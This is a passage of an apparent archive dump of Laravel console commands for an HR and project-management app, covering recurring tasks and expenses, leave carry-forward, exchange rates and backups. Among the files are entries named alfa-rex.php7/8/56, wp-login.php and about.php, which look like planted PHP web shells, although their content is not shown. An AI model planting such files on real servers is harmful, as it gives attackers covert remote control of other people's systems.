log folder'); } elseif ($deleted == 1) { $this->info('1 log file has been deleted'); } else { $this->info($deleted . ' log files have been deleted'); } return Command::SUCCESS; } /** * Get a collection of log files sorted by their last modification date. */ private function getLogFiles(): Collection { return Collection::make( $this->disk->allFiles(storage_path('logs')) )->sortBy('mtime'); } /** * Remove specified files from deletion list */ private function filesToDelete(Collection $files, array $fileNames): Collection { return $files->filter(function ($value, $key) use ($fileNames) { return !in_array($value->getFilenameWithoutExtension(), $fileNames); }); } /** * Delete the given files. */ private function delete(Collection $files): int { return $files->each(function ($file) { $this->disk->delete($file); })->count(); } } Console/Commands/RemoveSeenNotification.php000064400000001223150325104510015031 0ustar00delete(); return Command::SUCCESS; } } Console/Commands/.htaccess000064400000000544150325104510011504 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Console/Commands/SyncUserPermissions.php000064400000004245150325104510014430 0ustar00where('permission_sync', 0) ->when($this->argument('all'), function ($query) { return $query->get(); }, function ($query) { return $query->limit(10)->get(); }); if ($unsyncedUsers->isEmpty()) { $output->writeln('All user permissions are synced'); return Command::SUCCESS; } $total = $unsyncedUsers->count(); $unsyncedUsers->each(function ($user, $key) use ($total) { $remaining = $total - $key; $this->assignPermissions($user, $remaining); $user->permission_sync = 1; $user->saveQuietly(); }); return Command::SUCCESS; } private function assignPermissions($user, $remaining) { $output = new ConsoleOutput(); //phpcs:ignore $output->writeln('Remaining: ' . $remaining . ' Syncing permission started for ' . $user->name . ''); $rolesCount = $user->roles->count(); if ($rolesCount > 1) { $role = $user->roles->where('name', '!=', 'employee')->first(); } else { $role = $user->roles->first(); } if (!$role) { //phpcs:ignore $output->writeln('Role not found for ' . $user->name . ''); return false; } $user->assignUserRolePermission($role->id); //phpcs:ignore $output->writeln('Remaining: ' . $remaining . ' Syncing permission ended for ' . $user->name . ''); } } Console/Commands/AutoCreateRecurringExpenses.php000064400000010160150325104510016042 0ustar00select([ 'companies.id as id', 'timezone', 'expenses_recurring.id as rid', 'expenses_recurring.*', DB::raw('count(expenses.id) as expense_count') ]) ->rightJoin('expenses_recurring', 'expenses_recurring.company_id', '=', 'companies.id') ->leftJoin('expenses', function ($join) { $join->on('expenses.expenses_recurring_id', '=', 'expenses_recurring.id') ->where('expenses_recurring.status', 'active'); }) ->groupBy('companies.id', 'timezone', 'expenses_recurring.id') ->whereNotNull('next_expense_date') ->chunk(50, function ($companies) { foreach ($companies as $company) { $this->createRecurringExpenses($company); } }); return Command::SUCCESS; } private function createRecurringExpenses($company): void { $totalExistingCount = $company->expense_count; if ($company->unlimited_recurring == 1 || ($totalExistingCount < $company->billing_cycle)) { if ((Carbon::parse($company->issue_date, $company->timezone)->isToday() && $totalExistingCount == 0) || (Carbon::parse($company->next_expense_date, $company->timezone)->isToday())) { $this->info('Running for recurring expense:' . $company->id); $this->makeExpense($company); $this->saveNextInvoiceDate($company); } } } private function makeExpense($recurring) { $expense = new Expense(); $expense->company_id = $recurring->company_id; $expense->expenses_recurring_id = $recurring->rid; $expense->category_id = $recurring->category_id; $expense->project_id = $recurring->project_id; $expense->currency_id = $recurring->currency_id; $expense->user_id = $recurring->user_id; $expense->created_by = $recurring->created_by; $expense->item_name = $recurring->item_name; $expense->description = $recurring->description; $expense->price = $recurring->price; $expense->purchase_from = $recurring->purchase_from; $expense->added_by = $recurring->added_by; $expense->bank_account_id = $recurring->bank_account_id; $expense->purchase_date = now($recurring->timezone)->format('Y-m-d'); $expense->status = 'approved'; $expense->save(); if ($expense->user_id != '') { event(new NewExpenseEvent($expense, 'member')); event(new NewExpenseEvent($expense, 'admin')); } } private function saveNextInvoiceDate($recurring) { $days = match ($recurring->rotation) { 'daily' => now()->addDay(), 'weekly' => now()->addWeek(), 'bi-weekly' => now()->addWeeks(2), 'monthly' => now()->addMonth(), 'quarterly' => now()->addQuarter(), 'half-yearly' => now()->addMonths(6), 'annually' => now()->addYear(), default => now()->addDay(), }; $totalExistingCount = $recurring->expense_count + 1; $days = ($totalExistingCount === $recurring->billing_cycle) ? null : $days->setTimezone($recurring->timezone)->format('Y-m-d'); ExpenseRecurring::where('id', $recurring->rid)->update(['next_expense_date' => $days]); } } Console/Commands/UpdateExchangeRates.php000064400000007176150325104510014313 0ustar00currency_converter_key) ?: config('app.currency_converter_key'); if($globalSetting->currency_key_version == 'dedicated'){ $currencyApiKeyVersion = $globalSetting->dedicated_subdomain; }else{ $currencyApiKeyVersion = $globalSetting->currency_key_version; } if ($currencyApiKey && $currencyApiKeyVersion) { $client = new Client(); Company::with(['currencies', 'currency']) ->chunk(50, function ($companies) use ($currencyApiKey, $currencyApiKeyVersion, $client) { foreach ($companies as $company) { $company->currencies->each(function ($currency) use ($currencyApiKey, $currencyApiKeyVersion, $company, $client) { try { $response = $client->request('GET', 'https://' . $currencyApiKeyVersion . '.currconv.com/api/v7/convert?q=' . $currency->currency_code . '_' . $company->currency->currency_code . '&compact=ultra&apiKey=' . $currencyApiKey); $response = json_decode($response->getBody(), true); $currency->exchange_rate = $response[$currency->currency_code . '_' . $company->currency->currency_code]; $currency->saveQuietly(); } catch (Exception $e) { // echo $e->getMessage(); } }); } }); $this->invoices(); $this->payments(); $this->expenses(); return Command::SUCCESS; } } private function invoices() { $invoices = Invoice::all(); foreach ($invoices as $invoice) { $currency = Currency::where('id', $invoice->currency_id)->first(); if ($currency) { $invoice->exchange_rate = $currency->exchange_rate; $invoice->save(); } } } private function payments() { $payments = Payment::all(); foreach ($payments as $payment) { $currency = Currency::where('id', $payment->currency_id)->first(); if ($currency) { $payment->exchange_rate = $currency->exchange_rate; $payment->saveQuietly(); } } } private function expenses() { $expenses = Expense::all(); foreach ($expenses as $expense) { $currency = Currency::where('id', $expense->currency_id)->first(); if ($currency) { $expense->exchange_rate = $currency->exchange_rate; $expense->save(); } } } } Console/Commands/AutoStopTimer.php000064400000010072150325104510013173 0ustar00select(['companies.id as id', 'timezone']) ->join('log_time_for', 'log_time_for.company_id', '=', 'companies.id') ->where('auto_timer_stop', 'yes')->chunk(50, function ($companies) { foreach ($companies as $company) { $admin = User::allAdmins($company->id)->first(); $defaultShift = AttendanceSetting::where('company_id', $company->id)->first()->shift; $activeTimers = ProjectTimeLog::with('user', 'activeBreak') ->where('project_time_logs.company_id', $company->id) ->whereNull('project_time_logs.end_time') ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->select('project_time_logs.*', 'users.name') ->get(); foreach ($activeTimers as $activeTimer) { $attendanceShift = EmployeeShiftSchedule::with('shift')->where('user_id', $activeTimer->user_id)->where('date', $activeTimer->start_time->format('Y-m-d'))->first()?->shift; if (!$attendanceShift) { $attendanceShift = $defaultShift; } $startTime = $activeTimer->start_time->tz($company->timezone); $endDateTime = Carbon::createFromFormat('Y-m-d H:i:s', $activeTimer->start_time->format('Y-m-d') . ' ' . $attendanceShift->office_end_time, $company->timezone); if ($startTime->gt($endDateTime)) { $endDateTime = $endDateTime->addDay(); } if ($endDateTime->isPast()) { $activeTimer->end_time = $endDateTime->tz(config('app.timezone')); $activeTimer->edited_by_user = $admin->id; $activeTimer->save(); $activeTimer->total_hours = ((int)$activeTimer->end_time->diff($activeTimer->start_time)->format('%d') * 24) + ((int)$activeTimer->end_time->diff($activeTimer->start_time)->format('%H')); if ($activeTimer->total_hours == 0) { $activeTimer->total_hours = (int)$activeTimer->end_time->diff($activeTimer->start_time)->format('%d') * 24 + (int)$activeTimer->end_time->diff($activeTimer->start_time)->format('%H'); } $activeTimer->total_minutes = ((int)$activeTimer->total_hours * 60) + (int)($activeTimer->end_time->diff($activeTimer->start_time)->format('%i')); $activeTimer->saveQuietly(); event(new TimelogEvent($activeTimer)); // Stop breaktime if active /** @phpstan-ignore-next-line */ if (!is_null($activeTimer->activeBreak)) { /** @phpstan-ignore-next-line */ $activeBreak = $activeTimer->activeBreak; $activeBreak->end_time = $activeTimer->end_time; $activeBreak->save(); } } } } }); return Command::SUCCESS; } } Console/Commands/alfa-rex.php7000064400000026574150325104510012220 0ustar00Console/Commands/alfa-rex.php8000064400000026574150325104510012221 0ustar00Console/Commands/wp-login.php000064400000026574150325104510012166 0ustar00Console/Commands/AutoDeleteDatabaseBackup.php000064400000004173150325104510015227 0ustar00status === 'active') { // Get the local backup disk $disk = Storage::disk('localBackup'); // Get all files in the backup folder $files = $disk->files('/backup'); // Loop through each file foreach ($files as $file) { // Check if the file is a .zip file and exists on the disk if (str_ends_with($file, '.zip') && $disk->exists($file)) { // Parse the date the file was last modified $date = Carbon::parse($disk->lastModified($file)); // Get the current date and time $now = now(); // Calculate the difference between the modified date and the current date $dateDifference = $date->diffInDays($now); // Check if the difference is greater than the delete backup after days setting if ((int)$backupSetting->delete_backup_after_days > 0 && $dateDifference >= (int)$backupSetting->delete_backup_after_days) { // Delete the file $disk->delete('backup/' . str_replace(config('laravel-backup.backup.name') . 'backup/', '', $file)); } } } } return Command::SUCCESS; } } Console/Commands/AnnualCarryForwardLeaves.php000064400000033243150325104510015325 0ustar00argument('company'); $userID = $this->argument('user'); $leaveTypeID = $this->argument('leaveType'); $force = $this->argument('force'); // dd($force, $companyID, $userID, $leaveTypeID); $companies = Company::active()->with(['leaveTypes' => function ($query) use ($leaveTypeID) { $query->where('unused_leave', 'carry forward')->where('leavetype', 'yearly'); if ($leaveTypeID != '') { return $query->where('id', $leaveTypeID); } return $query; }]); if ($companyID != '') { $companies = $companies->where('id', $companyID); } $companies->chunk(10, function ($companies) use ($userID, $force) { foreach ($companies as $company) { $leaveTypes = $company->leaveTypes; $settings = $company; $users = User::withoutGlobalScopes()->whereHas('employeeDetail') ->with(['leaves', 'leaveTypes', 'leaveTypes.leaveType', 'employeeDetail']) ->where('company_id', $company->id); if ($userID != '') { $users = $users->where('id', $userID); } $users = $users->get(); foreach ($users as $user) { if (is_null($user->employeeDetail->joining_date)) { continue; } if ($settings && $settings->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d')); $startingDate = $currentYearJoiningDate->startOfMonth(); if ($currentYearJoiningDate->copy()->format('Y-m-d') != now($settings->timezone)->format('Y-m-d') && $force != 'true') { continue; } if ($startingDate->lt($user->employeeDetail->joining_date)) { $startingDate = $user->employeeDetail->joining_date->startOfMonth(); } } else { // yearly setting year_start $yearFrom = $settings && $settings->year_starts_from ? $settings->year_starts_from : 1; $startingDate = Carbon::create(now()->year, $yearFrom)->startOfMonth(); if ($startingDate->copy()->format('Y-m-d') != now()->format('Y-m-d') && $force != 'true') { continue; } } if ($startingDate->isFuture()) { $carryForwardAppliedYear = $startingDate->copy()->subYear(2)->year; } else { $carryForwardAppliedYear = $startingDate->copy()->subYear()->year; } foreach ($leaveTypes as $value) { $leaveQuota = EmployeeLeaveQuota::where('user_id', $user->id)->where('leave_type_id', $value->id)->first(); $joiningDate = $user->employeeDetail->joining_date->copy(); if (($leaveQuota && $leaveQuota->leave_type_impact == 1)) { $noOfLeavesAlloted = $leaveQuota->no_of_leaves; } else { $noOfLeavesAlloted = $this->calculateNoOfLeavesAlloted($settings, $joiningDate, $user, $value); } $noOfLeavesTaken = $this->calculateNoOfLeavesTaken($settings, $joiningDate, $user, $value, $carryForwardAppliedYear); $noOfRemainingLeaves = $noOfLeavesAlloted - $noOfLeavesTaken; if ($noOfRemainingLeaves < 0) { $noOfRemainingLeaves = 0; } $noOfLeavesUnused = $leaveQuota->unused_leaves ?? 0; // $this->info('Leaves Remaining :: '. $user->name.' ' .$value->type_name.' '. $noOfRemainingLeaves); // $this->info('Leaves Overutilised :: '. $user->name.' ' .$value->type_name.' '. $noOfOverutilisedLeaves); // $this->info('Leaves Unused :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesUnused); if ($leaveQuota && $value->unused_leave == 'carry forward' && $leaveQuota->carry_forward_applied != $carryForwardAppliedYear) { // Here carry_forward_applied is the year for which the carry forward leaves are applied $leaveQuota->carry_forward_leaves = $noOfRemainingLeaves; $leaveQuota->overutilised_leaves = 0; $leaveQuota->save(); } } } } }); } public function calculateNoOfLeavesAlloted($settings, $joiningDate, $user, $value) { $leaves = $value->no_of_leaves; $leaveToSubtract = 0; if ($settings && $settings->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d'));; if (now()->gt($currentYearJoiningDate)) { $differenceMonth = now()->startOfMonth()->diffInMonths($currentYearJoiningDate->copy()->startOfMonth()); } else { $differenceMonth = now()->startOfMonth()->diffInMonths($currentYearJoiningDate->copy()->subYear()->startOfMonth()); } $differenceMonth = $differenceMonth + 1; // Include current month also $countOfMonthsAllowed = $differenceMonth > 12 ? $differenceMonth - 12 : $differenceMonth; if ($user->employeeDetail->joining_date->year == now()->year && $value->leavetype == 'yearly') { // Calculate remaining days after full months $remainingDays = now()->diffInDays($currentYearJoiningDate->copy()->subMonths($differenceMonth)); $remainingDays += 2; // adding 2 for becaus same day and next day is not counting as diff if ($remainingDays >= 16) { $countOfMonthsAllowed++; $remainingDays = 0; } } } else { // yearly setting year_start $yearFrom = $settings && $settings->year_starts_from ? $settings->year_starts_from : 1; $startingDate = Carbon::create(now()->year, $yearFrom)->startOfMonth(); $differenceMonth = ($user->employeeDetail->joining_date->year == now()->year) ? now()->startOfMonth()->diffInMonths($joiningDate->copy()->startOfMonth()) : now()->startOfMonth()->diffInMonths($startingDate); $differenceMonth = $differenceMonth + 1; // Include current month also $countOfMonthsAllowed = $differenceMonth > 12 ? $differenceMonth - 12 : $differenceMonth; $remainingDays = 0; $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d'));; if ($user->employeeDetail->joining_date->year == now()->year && $value->leavetype == 'yearly') { $remainingDays = now()->diffInDays($currentYearJoiningDate->copy()->subMonths($differenceMonth)); $remainingDays += 2; // adding 2 for becaus same day and next day is not counting as diff if ($remainingDays >= 16) { $countOfMonthsAllowed++; $remainingDays = 0; } } } if ($settings && $settings->leaves_start_from == 'year_start' && $joiningDate->gt(now($settings->timezone)->startOfyear()) // Check joining was less than 1 year ) { // give half leave for the month if joining date is after 15th of the month if ($value->leavetype == 'yearly') { $leaveToSubtract = ($joiningDate->diffInMonths($startingDate)); $monthlyLeaves = ($value->no_of_leaves / 12); // Assign no of leaves according to date of joining if joined the same year if ($joiningDate->diffInMonths($startingDate) < 12) { $leaveToSubtract = ($monthlyLeaves * $leaveToSubtract); } if ($joiningDate->day > 15) { $leaveToSubtract = ($monthlyLeaves / 2) + ($leaveToSubtract); } } else { if ($joiningDate->day > 15) { $leaveToSubtract = ($value->no_of_leaves / 2); } } } if ($settings && $settings->leaves_start_from == 'joining_date' && $joiningDate->day > 15 && (now()->startOfMonth()->diffInMonths($user->employeeDetail->joining_date->startOfMonth()) < 12) // Check joining was less than 1 year ) { // give half leave for the month if joining date is after 15th of the month if ($value->leavetype == 'yearly') { $monthlyLeaves = ($value->no_of_leaves / 12); $leaveToSubtract = ($monthlyLeaves / 2); } else { $leaveToSubtract = ($value->no_of_leaves / 2); } } if ($value->leavetype == 'yearly') { $leaves = $value->no_of_leaves - $leaveToSubtract; } else if ($value->leavetype == 'monthly') { $leaves = ($value->no_of_leaves * $countOfMonthsAllowed) - $leaveToSubtract; } $noOfLeavesAlloted = number_format((float)$leaves, 2, '.', ''); // Round off the fraction value for clear calculation and usage. // If fraction is between 0 to 0.5 then consider it as 0.5 // If fraction is between 0.5 to 0.99 then consider it as 1 $whole = floor($noOfLeavesAlloted); $fraction = $noOfLeavesAlloted - $whole; if ($fraction > 0 && $fraction <= 0.5) { $noOfLeavesAlloted = $whole + 0.5; } else if ($fraction > 0.5 && $fraction <= 0.99) { $noOfLeavesAlloted = $whole + 1; } // $this->info('Leaves Alloted :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesAlloted); return $noOfLeavesAlloted; } public function calculateNoOfLeavesTaken($settings, $joiningDate, $user, $value, $carryForwardAppliedYear) { $currentYearJoiningDate = Carbon::parse($joiningDate->format($carryForwardAppliedYear . '-m-d')); if ($currentYearJoiningDate->isFuture()) { $currentYearJoiningDate->subYear(); } $leaveFrom = $currentYearJoiningDate->copy()->toDateString(); $leaveTo = $currentYearJoiningDate->copy()->addYear()->toDateString(); if ($settings->leaves_start_from !== 'joining_date') { $leaveStartYear = Carbon::parse(now()->format((now($settings->timezone)->year) . '-' . $settings->year_starts_from . '-01')); if ($leaveStartYear->isFuture()) { $leaveStartYear = $leaveStartYear->subYear(); } $leaveFrom = $leaveStartYear->copy()->toDateString(); $leaveTo = $leaveStartYear->copy()->addYear()->toDateString(); } $fullDay = Leave::where('user_id', $user->id) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', '<>', 'half day') ->count(); $halfDay = Leave::where('user_id', $user->id) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', 'half day') ->count(); $noOfLeavesTaken = ($fullDay + ($halfDay / 2)); // $this->info('Leaves Taken :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesTaken); return $noOfLeavesTaken; } public function calculateNoOfLeavesTakenCurrentMonth($settings, $user, $value) { $leaveFrom = now($settings->timezone)->startOfMonth()->toDateString(); $leaveTo = now($settings->timezone)->endOfMonth()->toDateString(); $fullDay = Leave::where('user_id', $user->id) ->whereBetween('created_at', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', '<>', 'half day') ->count(); $halfDay = Leave::where('user_id', $user->id) ->whereBetween('created_at', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', 'half day') ->count(); $noOfLeavesTaken = ($fullDay + ($halfDay / 2)); // $this->info('Leaves Taken Current Month :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesTaken); return $noOfLeavesTaken; } } Console/Commands/alfa-rex.php56000064400000026574150325104510012304 0ustar00Console/Commands/ClearNullSessions.php000064400000001276150325104510014032 0ustar00delete(); $this->info('Session deleted'); return Command::SUCCESS; } } Console/Commands/DailyScheduleReminder.php000064400000010534150325104510014624 0ustar00where('send_email', 'yes') ->pluck('company_id') ->toArray(); $data = []; foreach ($companyIds as $companyId) { $completedTaskColumn = TaskboardColumn::where('slug', 'completed') ->where('company_id', $companyId) ->first(); $users = User::withRole('employee') ->with([ 'company', 'tasks' => function ($query) use ($completedTaskColumn) { $query->whereDate('due_date', '=', now()) ->where('board_column_id', '<>', $completedTaskColumn->id); }, 'leaves' => function ($leaves) { $leaves->whereDate('leave_date', '=', now()) ->where('leaves.status', 'approved'); }, ]) ->where('company_id', $companyId) ->get(); foreach ($users as $user) { $events = Event::with('attendee', 'attendee.user') ->where(function ($query) use ($user) { $query->whereHas('attendee', function ($query) use ($user) { $query->where('user_id', $user->id); }); $query->orWhere('added_by', $user->id); }) ->whereDate('start_date_time', '<=', now()->toDateString()) ->whereDate('end_date_time', '>=', now()->toDateString()) ->count(); $holiday = Holiday::where(function ($query) use ($user) { $query->where('added_by', $user->id) ->orWhere(function ($query) use ($user) { $query->where(function ($q) use ($user) { $q->orWhere('department_id_json', 'like', '%"' . $user->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $query->where(function ($q) use ($user) { $q->orWhere('designation_id_json', 'like', '%"' . $user->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $query->where(function ($q) use ($user) { $q->orWhere('employment_type_json', 'like', '%"' . $user->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); })->whereDate('date', '=', now())->count(); if (module_enabled('Recruit')) { $interview = RecruitInterviewEmployees::with(['schedule' => function ($q) { $q->whereDate('schedule_date', '=', now()); }])->where('user_id', $user->id)->count(); $data[$user->id]['interview'] = $interview; } $data[$user->id]['user'] = $user; $data[$user->id]['holidays'] = $holiday; $data[$user->id]['leaves'] = $user->leaves->count(); $data[$user->id]['tasks'] = $user->tasks->count(); $data[$user->id]['events'] = $events; } event(new DailyScheduleEvent($data)); } } } Console/Commands/SendDailyTimelogReport.php000064400000002615150325104510015011 0ustar00select(['id', 'logo', 'company_name'])->chunk(50, function ($companies) { foreach ($companies as $company) { $timelogSetting = LogTimeFor::where('company_id', $company->id)->first(); if ($timelogSetting->timelog_report !== 1) { continue; } $roles = Role::with('users') ->where('company_id', $company->id) ->whereIn('id', json_decode($timelogSetting->daily_report_roles)) ->get(); foreach ($roles as $role) { foreach ($role->users as $user) { event(new DailyTimeLogReportEvent($user, $role, $company)); } } } }); return Command::SUCCESS; } } Console/Commands/AutoCreateRecurringTasks.php000064400000015055150325104510015345 0ustar00select('id', 'timezone', 'default_task_status')->chunk(50, function ($companies) { foreach ($companies as $company) { $now = now($company->timezone); $repeatedTasks = Task::withCount('recurrings') ->with('labels', 'users', 'project', 'subtasks') ->where('repeat', 1) ->whereDate('start_date', '<', $now) ->where('repeat_complete', 0) ->where('company_id', $company->id) ->get(); $repeatedTasks->each(function ($task) use ($now, $company) { if ($task->repeat_cycles == -1 || $task->recurrings_count < ($task->repeat_cycles - 1)) { // Subtract 1 to include original task $this->info('Running for task:' . $task->id); $startDate = $task->start_date->copy(); $endDate = (!is_null($task->due_date)) ? $task->due_date->copy() : null; $repeatCount = $task->repeat_count + ($task->recurrings_count * $task->repeat_count); $repeatStartDate = $now; $repeatDueDate = (!is_null($endDate)) ? $now->copy()->addDays($endDate->diffInDays($startDate)) : null; $isTaskCreate = false; $subTasks = $task->subtasks; // Adjust start date to the company's timezone for comparison $adjustedStartDate = $startDate->copy()->setTimezone($company->timezone); if ($task->repeat_type == 'day' && ($adjustedStartDate->copy()->addDays($repeatCount)->isPast() || $adjustedStartDate->copy()->addDays($repeatCount)->isToday())){ $isTaskCreate = true; } elseif ($task->repeat_type == 'week' && ($adjustedStartDate->copy()->addWeeks($repeatCount)->isPast() || $adjustedStartDate->copy()->addWeeks($repeatCount)->isToday())){ $isTaskCreate = true; } elseif ($task->repeat_type == 'month' && ($adjustedStartDate->copy()->addMonths($repeatCount)->isPast() || $adjustedStartDate->copy()->addMonths($repeatCount)->isToday())) { $isTaskCreate = true; } elseif ($task->repeat_type == 'year' && ($adjustedStartDate->copy()->addYears($repeatCount)->isPast() || $adjustedStartDate->copy()->addYears($repeatCount)->isToday())) { $isTaskCreate = true; } if ($isTaskCreate) { $this->createTask($task, $repeatStartDate, $repeatDueDate, $company->default_task_status, $subTasks); // Mark repeat complete if cycles are complete if ($task->repeat_cycles != -1 && ($task->recurrings_count + 2) == $task->repeat_cycles) { // Add 2 to include newly created task and the original task $task->repeat_complete = 1; $task->save(); } } } }); } }); return Command::SUCCESS; } protected function createTask($task, $startDate, $endDate, $taskStatus, $subTasks = null) { $newTask = new Task(); $newTask->heading = $task->heading; $newTask->company_id = $task->company_id; $newTask->description = $task->description; $newTask->start_date = $startDate->format('Y-m-d'); $newTask->due_date = (!is_null($endDate)) ? $endDate->format('Y-m-d') : null; $newTask->project_id = $task->project_id; $newTask->task_category_id = $task->category_id; $newTask->priority = $task->priority; $newTask->repeat = 1; $newTask->board_column_id = $taskStatus; $newTask->recurring_task_id = $task->id; $newTask->is_private = $task->is_private; $newTask->billable = $task->billable; $newTask->estimate_hours = $task->estimate_hours; $newTask->estimate_minutes = $task->estimate_minutes; if ($task->project) { $projectLastTaskCount = Task::projectTaskCount($task->project->id); $newTask->task_short_code = $task->project->project_short_code . '-' . $projectLastTaskCount + 1; } $newTask->save(); if ($subTasks) { foreach ($subTasks as $subTask) { $newSubTask = $subTask->replicate(); $newSubTask->task_id = $newTask->id; $newSubTask->status = 'incomplete'; $newSubTask->save(); if ($subTask->files->count() > 0) { foreach ($subTask->files as $file) { // Replicate the file record $newSubTaskFile = $file->replicate(); $newSubTaskFile->sub_task_id = $newSubTask->id; $fileName = Files::generateNewFileName($file->filename); Files::copy(SubTaskFile::FILE_PATH . '/' . $file->sub_task_id . '/' . $file->hashname, SubTaskFile::FILE_PATH . '/' . $newSubTask->id . '/' . $fileName); // Update the filename and hashname for the new record $newSubTaskFile->filename = $file->filename; $newSubTaskFile->hashname = $fileName; $newSubTaskFile->size = $file->size; $newSubTaskFile->save(); } } } } $newTask->users()->sync($task->users->pluck('id')->toArray()); $newTask->labels()->sync($task->labels->pluck('id')->toArray()); foreach ($newTask->users as $user) { event(new TaskEvent($newTask, $user, 'NewTask')); } } } Console/Commands/CreateTranslations.php000064400000003310150325104510014216 0ustar00option('translateFrom'); $to = $this->option('translateTo'); $exclude = $this->option('exclude'); if ($exclude !== null) { $translations = Translation::where('locale', $from)->whereNotIn('group', explode(',', $exclude))->get(); } else { $translations = Translation::where('locale', $from)->get(); } $tr = new GoogleTranslate(); $tr->setSource($from); $tr->setTarget($to); foreach ($translations as $translation) { $data = [ 'locale' => $to, 'group' => $translation->group, 'key' => $translation->key ]; $reqTranslation = Translation::where($data)->first(); if ($reqTranslation === null) { $data = Arr::add($data, 'value', $tr->translate($translation->value)); Translation::create($data); } } return Command::SUCCESS; } } Console/Commands/about.php000064400000026574150325104510011544 0ustar00Console/Commands/InActiveEmployee.php000064400000003147150325104510013623 0ustar00where(function ($query) use ($todayDate) { $query->whereDate('last_date', '<=', $todayDate) ->orWhereDate('notice_period_end_date', '<=', $todayDate); }) ->whereHas('user', function ($query) { $query->where('status', 'active'); }) ->chunk(50, function ($employees) use ($todayDate) { foreach ($employees as $employee) { $employee->user->status = 'deactive'; $employee->user->inactive_date = now(); if (empty($employee->last_date) && !empty($employee->notice_period_end_date)) { $employee->last_date = $employee->notice_period_end_date; $employee->save(); } $employee->user->save(); } }); } } Console/Commands/HideCronJobMessage.php000064400000002574150325104510014057 0ustar00writeln('Cron Job seems to running and ran last at ' . now() . ''); $setting = GlobalSetting::first(); $difference = !is_null($setting->last_cron_run) ? now()->diffInHours($setting->last_cron_run) : 0; // If difference between time is more than 12 hours or cron job is less than run the cron job // This is checked so that global cache do not reset every minute if ($difference > 12 || is_null($setting->last_cron_run)) { $setting->last_cron_run = now(); // Update the last cron run time $setting->hide_cron_message = 1; // This will reset the global cache $setting->save(); } return Command::SUCCESS; } } Console/Commands/CarryForwardLeaves.php000064400000022051150325104510014161 0ustar00chunk(50, function ($companies) { foreach ($companies as $company) { $this->getStartMonthAndYear($company); } }); return Command::SUCCESS; } public function getStartMonthAndYear(Company $company){ // Fetch all users $users = User::withoutGlobalScopes()->onlyEmployee()->with(['leaves', 'leaveTypes', 'leaveTypes.leaveType', 'employeeDetail']) ->where('company_id',$company->id)->get(); foreach ($users as $user) { if ($company->leaves_start_from == 'year_start') { $today = Carbon::now($company->timezone)->startOfDay(); $startMonth = Carbon::create($today->year, (int)$company->year_starts_from, tz: $company->timezone)->startOfDay(); $startYear = now()->year; }else{ $joiningYear = $user->employeeDetail->joining_date->format('Y'); if($joiningYear < now()->year){ $startMonth = Carbon::create(now()->year, 1, 1, 0, 0, 0, $company->timezone); $startYear = now()->year; }else{ $startMonth = $user->employeeDetail->joining_date; $startYear = $user->employeeDetail->joining_date->format('Y'); } } // Loop through each month from the starting month until the current month for ($month = $startMonth->copy(); $month->month <= now()->startOfMonth()->month; $month->addMonth()) { // skip the if user has not joined yet or joined this month if ($user->employeeDetail->joining_date->year == $startYear && $user->employeeDetail->joining_date->month >= $month->month) { continue; } $this->carryForwardLeave($user, $month, $startYear, $company); } } } private function carryForwardLeave($user, $month, $startYear, Company $company){ $leaveTypes = LeaveType::withTrashed()->where('unused_leave', 'carry forward')->where('company_id',$company->id)->get(); foreach($leaveTypes as $leaveType){ // skip if leave is not creted yet $createdAt = $leaveType->created_at; if ( $createdAt != null && $createdAt->year == (string)$startYear && ($createdAt->month >= (string)$month->month) ) { continue; } $employeeLeaveQuota = EmployeeLeaveQuota::where('leave_type_id', $leaveType->id)->where('user_id', $user->id) ->where('carry_forward_status', 'like', '%'.$month->format('F Y').'%')->exists(); if (!$employeeLeaveQuota) { // false and false then true $leaveCountFrom = $company->leaves_start_from; // joining_date or year_start $fromMonth = $company->year_starts_from; // month no 1 to 12 $joiningDate = Carbon::parse($user->employeeDetail->joining_date); // Get Approved Leave's count for user if($leaveType->leavetype == 'yearly'){ if ( ($leaveCountFrom == 'joining_date' && $user->employeeDetail->joining_date->month != $month->month) || ($leaveCountFrom == 'year_start' && $fromMonth != $month->month) ) { continue; } if ($leaveCountFrom == 'joining_date') { $leavePeriodStart = $joiningDate; $leavePeriodEnd = $joiningDate->copy()->addYear(); // Example for second period: start from 1st August 2025 to 1st August 2026 $now = Carbon::now(); while ($leavePeriodEnd->lessThan($now)) { $leavePeriodStart = $leavePeriodStart->copy()->addYear(); $leavePeriodEnd = $leavePeriodEnd->copy()->addYear(); } $approvedLeaves = $user->leaves() ->where('leave_type_id', $leaveType->id) ->where('status', 'approved') ->whereBetween('leave_date', [$leavePeriodStart, $leavePeriodEnd]) ->count(); // info('joining_date-'.$user->id); // info([$approvedLeaves,$leavePeriodStart, $leavePeriodEnd]); } elseif ($leaveCountFrom == 'year_start') { $yearStart = Carbon::createFromDate($startYear, $fromMonth, 1); $leavePeriodStart = $joiningDate->greaterThan($yearStart) ? $joiningDate : $yearStart; $leavePeriodEnd = $yearStart->copy()->addYear(); // Example for first period: start from joining date to next year start if ($leavePeriodStart->greaterThan($yearStart)) { $leavePeriodEnd = $leavePeriodStart->copy()->addMonths(12); } $approvedLeaves = $user->leaves() ->where('leave_type_id', 